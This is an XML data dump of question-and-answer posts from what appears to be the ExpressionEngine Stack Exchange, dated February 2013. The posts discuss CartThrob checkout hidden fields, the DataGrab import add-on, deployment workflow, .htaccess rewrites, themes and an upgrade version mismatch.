  <row Id="6372" PostTypeId="2" ParentId="6324" CreationDate="2013-02-14T22:40:06.427" Score="0" Body="&lt;p&gt;Hi mjr and thank you for taking the time to answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is correct, I have that custom field in my orders channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Structure listings page with a a cartThrob add to form call with a hidden field:&lt;/p&gt;&#xA;&#xA;&lt;p&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which works as I can see the rendered HTML as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user adds to cart and then if they wish, view the cart and checkout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the checkout template I have added your suggestion and no joy and nothing is rendered in the email confirmation OR entered in the Orders channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to repeat, this course_date is entered by the site admin, it is not at any time chosen as an item option by the user. I just want to take that entries custom date field and use it in the email confirmation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA&lt;/p&gt;&#xA;" OwnerUserId="1012" LastActivityDate="2013-02-14T22:40:06.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6373" PostTypeId="2" ParentId="6370" CreationDate="2013-02-14T23:41:56.430" Score="3" Body="&lt;p&gt;Have you looked into the EE addon called DataGrab from Brandnewbox?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/datagrab&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/datagrab&lt;/a&gt;&#xA;&lt;a href=&quot;http://brandnewbox.co.uk/products/details/datagrab&quot; rel=&quot;nofollow&quot;&gt;http://brandnewbox.co.uk/products/details/datagrab&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's notes here on how it can support Matrix fields:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://brandnewbox.co.uk/support/details/datagrab_and_matrix_fields&quot; rel=&quot;nofollow&quot;&gt;http://brandnewbox.co.uk/support/details/datagrab_and_matrix_fields&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had it used on quite a few large projects with great success so don't see why it wouldn't work for you. Sometimes you need to massage the CSV file prior to the import.&lt;/p&gt;&#xA;" OwnerUserId="347" LastActivityDate="2013-02-14T23:41:56.430" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6374" PostTypeId="2" ParentId="6361" CreationDate="2013-02-14T23:50:30.250" Score="2" Body="&lt;p&gt;Nathan, the first answer on this Q/A explains the standard method of development. Generally when you get the point that you're at, it makes sense to use a versioning tool such as Git and develop locally, deploy to Dev and/or Staging for testing and finally to Production. It's a little scary to begin with but I've had to adopt just this approach in the last 12 months as projects become more complicated and exponentially larger in scope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/45/migrating-between-development-staging-and-production-for-a-pre-existing-express&quot;&gt;Migrating between Development, Staging and Production for a pre-existing ExpressionEngine site&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main thing to take away from Adrian Macneil' response in the above post is the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Code should flow in this direction:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Development &gt;&gt; Staging &gt;&gt; Production&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Content, on the other hand, should flow in the opposite direction:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Development &amp;lt;&amp;lt; Staging &amp;lt;&amp;lt; Production&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Myself I currently use CodeBaseHQ (for repository) and DeployHQ (for deployment) services. Codebase has the additional plus of allow you to setup tickets for each of the development members and discussion areas where knowledge can be documented for future retrieval.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;Brendan&lt;/p&gt;&#xA;" OwnerUserId="347" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-02-14T23:50:30.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6375" PostTypeId="2" ParentId="6369" CreationDate="2013-02-14T23:55:35.477" Score="0" Body="&lt;p&gt;Do you have this part in the htaccess?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Redirect index.php Requests&#xA;# Turn this off until index.php is removed from ExpEng Control Panel.&#xA;# -------------------------------------------------------------------&#xA;RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;RewriteCond %{THE_REQUEST} !/system/.*&#xA;RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is likely something in the Assets (I've no experience with it) code that is using an URL to run a query, or something like that, and the rewrites are messing with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you might try setting &quot;Strict URLs&quot; in the settings where you set the 404 page.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bob&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="505" LastActivityDate="2013-02-14T23:55:35.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6378" PostTypeId="1" CreationDate="2013-02-15T02:17:54.423" Score="1" ViewCount="99" Body="&lt;p&gt;I am wondering if there is a way to use the Channel Images (by Devdemon) fields with Moblog. I've tried a bit and have not found a way...yet. Tomorrow, though, is another day and I can give it more attention but I don't want to reinvent the wheel if someone has been successful.&#xA;Thanks to you all. This is a great resource and I hope it continues.&#xA;Carole&lt;/p&gt;&#xA;" OwnerUserId="824" LastActivityDate="2013-02-15T16:23:37.760" Title="Moblog and Channel Images" Tags="|channel-images|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6379" PostTypeId="1" CreationDate="2013-02-15T04:55:07.030" Score="-1" ViewCount="55" Body="&lt;p&gt;I'm trying to put in place a basic security system for entries and this is what I've put in a checkbox field. Is it possible to put these global variable in the conditional or do I need to find a better solution?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if ({document_security:selected option=logged_in_group_id})}&#xA;    ... content ..&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="809" LastEditorUserId="150" LastEditDate="2013-02-15T09:20:10.750" LastActivityDate="2013-02-15T22:37:19.117" Title="Basic security for entries using checkboxes" Tags="|security|pixelandtonic|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6381" PostTypeId="2" ParentId="6324" CreationDate="2013-02-15T08:52:27.547" Score="0" Body="&lt;p&gt;Thanks - here is the code as requested for the add to cart section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries channel=&quot;domestic_courses&quot; disable=&quot;categories|member_data|pagination&quot; status=&quot;open|featured&quot;}&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;&amp;lt;!-- start 8 cols --&amp;gt; &#xA;&amp;lt;div class=&quot;eight columns&quot;&amp;gt;&#xA;&amp;lt;section class=&quot;box&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;frame&quot;&amp;gt;&#xA;&amp;lt;h1 class=&quot;intro&quot;&amp;gt;{title}&amp;lt;h1&amp;gt;&#xA;&amp;lt;div class=&quot;row padding-bottom-10&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;five columns&quot;&amp;gt;&amp;lt;img src=&quot;{domestic_course_image}&quot; class=&quot;intro-image&quot; /&amp;gt;&#xA;&amp;lt;ul class=&quot;course-list&quot;&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Cost (inc VAT):&amp;lt;/strong&amp;gt; {course_price:plus_tax decimals=&quot;2&quot;}&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Course Length:&amp;lt;/strong&amp;gt; {course_length}&amp;lt;/li&amp;gt;&#xA;{if {places} &amp;gt; 0}&#xA;&amp;lt;li&amp;gt;There are {places} place/s remaining.&amp;lt;/li&amp;gt;&#xA;{if:else}&#xA;&amp;lt;li class=&quot;full&quot;&amp;gt;This course is fully booked.&amp;lt;/li&amp;gt;&#xA;{/if}&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;seven columns&quot;&amp;gt;&#xA;&amp;lt;p class=&quot;large-text&quot;&amp;gt;{domestic_course_summary}&amp;lt;/p&amp;gt;&#xA;{full_domestic_course_details}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;twelve columns padding-bottom-10&quot;&amp;gt;&#xA;&amp;lt;h4 class=&quot;info-label&quot;&amp;gt;Enter amount of places required below:&amp;lt;/h4&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{exp:cartthrob:add_to_cart_form entry_id=&quot;{entry_id}&quot; return=&quot;&quot; error_handling=&quot;inline&quot; required=&quot;quantity&quot;}&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;date_booked_for&quot; value=&quot;{course_date}&quot; /&amp;gt; &#xA;&amp;lt;div class=&quot;one column&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;quantity&quot; value=&quot;&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;eleven columns&quot;&amp;gt;&#xA;{if field_errors_exist}&#xA;&amp;lt;ul class=&quot;errors&quot;&amp;gt;&#xA;    {field_errors}&#xA;    &amp;lt;li&amp;gt;{error}&amp;lt;/li&amp;gt;&#xA;    {/field_errors}&#xA;&amp;lt;/ul&amp;gt;&#xA;{/if}&#xA;{if global_errors_exist}&#xA;&amp;lt;ul class=&quot;errors&quot;&amp;gt;&#xA;    {global_errors}&#xA;    &amp;lt;li&amp;gt;{error}&amp;lt;/li&amp;gt;&#xA;    {/global_errors}&#xA;&amp;lt;/ul&amp;gt;&#xA;{/if} &#xA;&amp;lt;div class=&quot;message&quot;&amp;gt;Updating... &amp;lt;/div&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; id=&quot;go&quot; class=&quot;but yellow normal-but light-border&quot; value=&quot;BOOK NOW&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:cartthrob:add_to_cart_form}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the checkout code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:checkout_form secure_action=&quot;yes&quot; error_handling=&quot;inline&quot; class=&quot;custom&quot; create_user=&quot;no&quot; group_id=&quot;5&quot; return=&quot;store/order_info&quot; required=&quot;first_name|last_name|address|city|address|state|zip|phone|email_address&quot;}&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;custom_data[date_booked_for]&quot; value=&quot;{course_date}&quot; /&amp;gt;&#xA;{exp:cartthrob:customer_info}&#xA;&amp;lt;fieldset class=&quot;billing&quot; id=&quot;billing&quot;&amp;gt;&#xA;&amp;lt;legend&amp;gt;Billing Info&amp;lt;/legend&amp;gt;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;six columns&quot;&amp;gt;&#xA;     &amp;lt;label for=&quot;customer_first_name&quot; &amp;gt;First Name&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;first_name&quot; value=&quot;{customer_first_name}&quot; id=&quot;customer_first_name&quot; {if error:first_name} class=&quot;required&quot; {/if} /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;six columns&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;customer_last_name&quot; &amp;gt;Last Name&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;last_name&quot; value=&quot;{customer_last_name}&quot; id=&quot;customer_last_name&quot; {if error:last_name} class=&quot;required&quot; {/if} /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;six columns&quot;&amp;gt;&#xA;     &amp;lt;label for=&quot;customer_address&quot; &amp;gt;Address&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;address&quot; value=&quot;{customer_address}&quot; id=&quot;customer_address&quot; {if error:address} class=&quot;required&quot; {/if}  /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;six columns&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;customer_address2&quot;&amp;gt;Address 2&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;address2&quot; value=&quot;{customer_address2}&quot; id=&quot;customer_address2&quot;  /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;four columns&quot;&amp;gt;&#xA;     &amp;lt;label for=&quot;customer_city&quot;&amp;gt;City&amp;lt;/label&amp;gt;&#xA;     &amp;lt;input type=&quot;text&quot; name=&quot;city&quot; value=&quot;{customer_city}&quot; id=&quot;customer_city&quot; {if error:city} class=&quot;required&quot; {/if}   /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;eight columns&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;customer_county&quot;&amp;gt;County&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;state&quot; value=&quot;{state}&quot; id=&quot;state&quot; {if error:state} class=&quot;required&quot;{/if} /&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;four columns&quot;&amp;gt;&#xA;&amp;lt;label for=&quot;Postcode&quot;&amp;gt;Postcode&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;zip&quot; value=&quot;{customer_zip}&quot; id=&quot;Postcode&quot; {if error:zip} class=&quot;required&quot; {/if}   /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;eight columns&quot;&amp;gt;&#xA;&amp;lt;label for=&quot;customer_country_code&quot; &amp;gt;Country&amp;lt;/label&amp;gt;&#xA;&amp;lt;select name=&quot;customer_country_code&quot;  id=&quot;customer_country_code&quot; &amp;gt;&#xA;&amp;lt;option value=&quot;GBR&quot; selected=&quot;selected&quot;&amp;gt;United Kingdom&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;fieldset class=&quot;shipping&quot; id=&quot;shipping&quot;&amp;gt;&#xA;&amp;lt;legend&amp;gt;Shipping&amp;lt;/legend&amp;gt;&#xA;&amp;lt;div class=&quot;row small-info-area&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;twelve columns&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;six columns&quot;&amp;gt;&amp;lt;label for=&quot;use_billing_info&quot;&amp;gt;&amp;lt;strong&amp;gt;Use same billing details for shipping?&amp;lt;/strong&amp;gt; &amp;lt;input type=&quot;radio&quot; value=&quot;yes&quot; name=&quot;use_billing_info&quot; /&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;six columns margin-top-10&quot;&amp;gt;&#xA;     &amp;lt;label for=&quot;shipping_first_name&quot; &amp;gt;Shipping First Name&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;shipping_first_name&quot; value=&quot;{shipping_first_name}&quot; id=&quot;shipping_first_name&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;six columns margin-top-10&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;shipping_last_name&quot; &amp;gt;Shipping Last Name&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;shipping_last_name&quot; value=&quot;{shipping_last_name}&quot; id=&quot;shipping_last_name&quot;/&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;six columns&quot;&amp;gt;&#xA;     &amp;lt;label for=&quot;shipping_address&quot; &amp;gt;Shipping Address&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;shipping_address&quot; value=&quot;{shipping_address}&quot; id=&quot;shipping_address&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;six columns&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;shipping_address2&quot; class=&quot;&quot;&amp;gt;Shipping Address (line 2)&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;shipping_address2&quot; value=&quot;{shipping_address2}&quot; id=&quot;shipping_address2&quot;  /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;four columns&quot;&amp;gt;&#xA;     &amp;lt;label for=&quot;shipping_city&quot; &amp;gt;City&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;shipping_city&quot; value=&quot;{shipping_city}&quot; id=&quot;shipping_city&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;eight columns&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;shipping_state&quot;&amp;gt;County&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;shipping_state&quot; value=&quot;{shipping_state}&quot; id=&quot;shipping_state&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;four columns&quot;&amp;gt;&#xA;&amp;lt;label for=&quot;shipping_zip&quot; class=&quot;&quot;&amp;gt;Shipping Postcode&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;shipping_zip&quot; value=&quot;{shipping_zip}&quot; id=&quot;shipping_zip&quot;/&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;eight columns&quot;&amp;gt;&#xA;&amp;lt;label for=&quot;shipping_country_code&quot; class=&quot;&quot;&amp;gt;Shipping Country&amp;lt;/label&amp;gt;&amp;lt;select name=&quot;shipping_country_code&quot;  id=&quot;shipping_country_code&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;GBR&quot; selected=&quot;selected&quot;&amp;gt;United Kingdom&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;fieldset class=&quot;additional_info&quot; id=&quot;additional_info&quot;&amp;gt;&#xA;&amp;lt;legend&amp;gt;Additional Info&amp;lt;/legend&amp;gt;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;six columns&quot;&amp;gt;&#xA;&amp;lt;label for=&quot;phone&quot; class=&quot;&quot;&amp;gt;Phone&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;phone&quot; value=&quot;{phone}&quot; id=&quot;phone&quot; {if error:phone} class=&quot;required&quot; {/if}  /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;six columns&quot;&amp;gt;&#xA;&amp;lt;label for=&quot;email_address&quot; class=&quot;&quot;&amp;gt;Email Address&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;email_address&quot; value=&quot;{email_address}&quot; id=&quot;email_address&quot; {if error:email_address} class=&quot;required&quot; {/if} /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;twelve columns&quot;&amp;gt;&#xA;&amp;lt;label for=&quot;requirements&quot; class=&quot;&quot;&amp;gt;Any dietary requirements or additional message?&amp;lt;/label&amp;gt;&amp;lt;textarea name=&quot;requirements&quot; value=&quot;{requirements}&quot; id=&quot;requirements&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&#xA;&amp;lt;input type=&quot;submit&quot; id=&quot;checkout_complete&quot; class=&quot;but normal-but yellow&quot; value=&quot;Confirm Booking&quot; /&amp;gt;&#xA;{custom_data:phone}&#xA;&#xA;{/exp:cartthrob:customer_info}&#xA;&#xA;{/exp:cartthrob:checkout_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For now, I would just like to concentrate getting this hidden field in the Orders Channel, if that works, I can get it in the email confirmation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA again.&lt;/p&gt;&#xA;" OwnerUserId="1012" LastActivityDate="2013-02-15T08:52:27.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6382" PostTypeId="2" ParentId="6352" CreationDate="2013-02-15T08:55:26.157" Score="2" Body="&lt;p&gt;Found the solution by debugging the Store Orders model. Store (ab)uses the EE Member_register class to register the new member. One of the first things the register_member() function in this class does is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('allow_member_registration') == 'n')&#xA;{&#xA;    return FALSE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So enabling member registrations in the CP fixed the problem.&lt;/p&gt;&#xA;" OwnerUserId="414" LastActivityDate="2013-02-15T08:55:26.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6383" PostTypeId="1" CreationDate="2013-02-15T09:08:11.557" Score="0" ViewCount="407" Body="&lt;p&gt;Assume that we have module A which has it's own field type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We add field(s) in Channel X that is has the field type of module A.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way inside a module method to know the field id of the field(s) that has those field type? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the assumptions that I have inside the module method&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The module method already knows the channel name&lt;/li&gt;&#xA;&lt;li&gt;The module method does not know the field_name nor the field_id&lt;/li&gt;&#xA;&lt;li&gt;The module method knows the fieldtype name&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-02-15T09:33:55.927" LastActivityDate="2013-02-15T13:42:12.843" Title="Getting the field ids of fields with certain field types" Tags="|fieldtype|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6384" PostTypeId="2" ParentId="1472" CreationDate="2013-02-15T09:14:43.937" Score="3" Body="&lt;p&gt;As of Store 1.6.2 there is a &lt;code&gt;{qty_in_cart}&lt;/code&gt; variable which allows you to do this on a per-entry basis (though not if your entries contain multiple SKUs).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product entry_id=&quot;{entry_id}&quot;}&#xA;    {qty_in_cart}&#xA;{/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-15T09:14:43.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6385" PostTypeId="2" ParentId="6383" CreationDate="2013-02-15T09:29:45.117" Score="0" Body="&lt;p&gt;You can easily find out the field's group id assigned to that channel and then you can fetch field id associated with that channel just by a simple query from the database table exp_channel_fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you are having a channel ABC associated with the field group having the id &quot;x&quot;. The query will be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT field_id FROM exp_channel_fields WHERE field_name='FIELD_NAME' AND group_id=x AND site_id=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope, it would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-02-15T09:29:45.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6386" PostTypeId="1" CreationDate="2013-02-15T09:36:24.987" Score="4" ViewCount="6938" Body="&lt;p&gt;I am seriously going crazy trying to figure out how to change the theme of my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does ExpressionEngine support pre-built themes? If so, how do I switch between them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, how do I change the front-end design of my site?&lt;/p&gt;&#xA;" OwnerUserId="896" LastEditorUserId="150" LastEditDate="2013-02-15T10:12:10.547" LastActivityDate="2013-02-15T18:25:53.967" Title="How do I change the theme of my site?" Tags="|themes|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6388" PostTypeId="2" ParentId="6386" CreationDate="2013-02-15T10:21:18.747" Score="4" Body="&lt;p&gt;ExpressionEngine doesn't have support for multiple themes, and so far no-one has been successful in launching any sort of &quot;theme shop&quot; for ExpressionEngine. ExpressionEngine is more of a framework to build a site than a ready-to-go CMS solution, and you need to hand craft the front end of your site by writing HTML and CSS code. This is seen as one of the main advantages to using ExpressionEngine by most EE developers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In most cases you will be able to edit the design templates for your site by logging in to the control panel, and visiting &lt;em&gt;Design &gt; Templates &gt; Template Manager&lt;/em&gt;. For help getting started theming ExpressionEngine, you should start by reading the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/&quot; rel=&quot;nofollow&quot;&gt;User Guide&lt;/a&gt;. If you don't see the &lt;em&gt;Design&lt;/em&gt; menu in your ExpressionEngine CP, you will need to ask the person who set up the site to give your account permission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the idea of writing HTML and CSS code scares you, you should either hire a professional web developer, or try starting with a more &quot;drag &amp;amp; drop&quot; CMS.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-15T10:21:18.747" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6389" PostTypeId="2" ParentId="6386" CreationDate="2013-02-15T10:35:38.353" Score="1" Body="&lt;p&gt;Themeforest is now providing ExpressionEngine build-in theme also. Check out from here: &lt;a href=&quot;http://themeforest.net/category/cms-themes/expressionengine&quot; rel=&quot;nofollow&quot;&gt;http://themeforest.net/category/cms-themes/expressionengine&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-02-15T10:35:38.353" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6390" PostTypeId="1" AcceptedAnswerId="6417" CreationDate="2013-02-15T10:48:35.753" Score="1" ViewCount="181" Body="&lt;p&gt;I just updated EE from 2.5.3 to 2.5.5 and it shows the message below: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your ExpressionEngine installation’s version (2.5.3) is not consistent with the reported version (2.5.5). Please update your installation of ExpressionEngine again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I re updated and it shows it again... and again... I checked the config file and it shows 253. I guess this is the issue? I changed it to 255 and the message went away, but I presume the upgrade was completed? The version everywhere else shows 2.5.5.&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="28" LastEditDate="2013-02-15T16:02:52.037" LastActivityDate="2013-02-15T16:05:08.227" Title="Bizarre upgrade from 2.5.3 - 2.5.5 issue" Tags="|updating|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
